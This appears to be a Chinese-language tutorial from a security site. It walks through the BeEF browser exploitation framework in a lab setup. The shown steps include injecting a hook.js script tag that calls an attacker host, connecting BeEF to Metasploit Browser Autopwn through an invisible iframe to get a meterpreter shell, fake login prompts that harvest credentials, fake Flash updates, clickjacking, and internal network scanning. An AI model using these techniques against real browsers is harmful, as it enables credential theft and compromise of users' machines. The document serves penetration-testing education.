BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认识。
工具主页: http://beefproject.com
工具框架:
攻击主机:
操作系统:Kali 1.0 IP:192.168.16.245
测试主机:
操作系统:Win7x86 IP:192.168.16.197
路由器:
WooyunWifi 开启JS注入功能
WooyunWifi开启JS注入功能后会对用户访问的页面加入JS代码,如果JS代码设置成如下格式,那么运行后会在BeEF控制端返回一个shell document.write("<script language='javascript' src='http://192.168.16.245:3000/hook.js'></script>"); 默认情况下JS注入附带缓存投毒功能,将视图缓存所有的页面至2099年,但可以通过清除所有缓存及浏览数据来清除缓存投毒的影响。
BeEF在Kali下默认安装,直接找到对应图标启动即可,但是默认设置未同Metasploit关联,无法使用msf模块,因此需要作如下配置连接msf
编辑
/usr/share/beef-xss/config.yaml
metasploit: enable: false改为true
编辑
/usr/share/beef-xss/extensions/demos/config.yaml
enable:true改为false
编辑
/usr/share/beef-xss/extensions/metasploit/config.yaml
设置 ssl: true ssl_version: 'TLSv1'
service postgresql start service metasploit start msfconsole load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y
cd /usr/share/beef-xss/ /usr/share/beef-xss/beef
(启动后不要关闭,不然登录界面会提示密码错误)
弹出浏览器,输入默认用户名口令beef,即可登陆
主界面如图
对基本功能做全面介绍,高级用法以后会做补充
1、浏览器信息可收集:
浏览器名称版本 浏览器用户版本 插件(包括Java,ActiveX,VBS,Flash……) 窗口大小
收集方法:
(1)自动默认收集信息如图
(2)插件收集信息如图
模块图标不同颜色对应不同的使用效果 绿色:适用当前浏览器 橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色 红色:不适于当前浏览器,但仍可尝试
可收集:
安装的软件(适用于IE下,Detect Software模块) 注册表键值(适用于IE下,此时会弹出提示消息) 内网IP(Java模块得到授权) 系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式) 定位(通过Google maps) 剪贴板信息(会弹出提示消息)
如图
可收集:
用户是否访问过某URL、domain 是否登录特定网站账号 是否使用TOR
如图
如果使用BeEF控制了浏览器,那么就可以修改整个页面来尝试社会工程学
简单粗暴往往是最有效的
在网页弹出诱骗消息需要用户输入登录和密码,并解释该会话已超时
选择的登录框模板,如图
配置后用户浏览器界面,如图
当用户输入信息后,自动获取,如图
劫持网页上面的所有链接,当用户点击任意链接时弹出诱骗消息,如果用户接着点击会跳转到指定域名如图
创建一个浏览器助手提示用户点击如图
将当前页面重定向至指定页面,有可能导致当前权限丢失
将当前页面重定向至指定页面,,同时保留当前连接,可以维持当前浏览器权限如图
当检测用户不在当前页面时启动定时器,倒计时结束后自动重定向至指定页面如图
提示用户安装Adobe Flash Player的更新,用户点击后会下载指定文件如图
值得尝试
可以使用multi-click clickjacking,判断当前用户鼠标位置,在不同位置可触发不同JS代码如图,鼠标后面跟随一个iframe
通过JavaScript,可以尝试利用浏览器扫描内网
通过WebRTC获取内网IP
通过Java Socket class获取内网IP
识别内网网关,如图
识别内网web servers
调用ping命令扫描内网
如图
如图
如图
用来扫描内网中的Web服务器和网络设备
如图
模拟浏览器的IRC通信,可用来绕过防火墙
BeEF可根据扫描获得的信息绘制内网网络拓扑 如图
此部分会在以后详细介绍
如图
反弹回meterpreter
方法:
(1)使用Metasploit的Browser Autopwn功能生成BrowserAutoPwn URL
use auxiliary/server/browser_autopwn show options set LHOST 192.168.16.245 set SRVHOST 192.168.16.245 set SRVPORT 8881 run -z
生成一个链接,如图
(2)使用"Create Invisible Iframe"模块加载autopwn页面
如图
(3)等待弹回shell
sessions -l
代理功能
方法:
1、选择控制的浏览器
如图
2、浏览器代理设置
HTTP Proxy:127.0.0.1Port:6789
如图
细节以后补充
3、访问同样网站,查看本机浏览器页面同被控浏览器页面内容是否相同(即不需要cookie可实现登录账号)
如图
细节以后补充
创建一个新窗口,如图
反弹一个新权限,如图
当用户关闭当前页面时,反复弹出确认是否关闭页面的消息
3、Create Foreground iFrame模块修改当前页面所有链接来避免离开当前页面
比如用户点击某个连接,会将新页面显示在当前页面上面,注意的是网址不会发送改变,如图:
正常访问的页面为:(注意看地址栏)
可拦截修改页面内所有链接,当用户点击当前页面的任意链接后仍可维持权限(必须是同源的页面)如果用户手动更改URL地址栏,无法维持权限
本文仅对BeEF的基本功能做了全面介绍,更多高级技巧很值得研究,例如利用BeEF内网渗透,利用代理不通过cookie登陆账户突破IP限制绑定等等。
测试过程难免会有疏忽遗漏,理解错误的地方欢迎指正,共同进步。
本文由三好学生原创并首发于乌云drops,转载请注明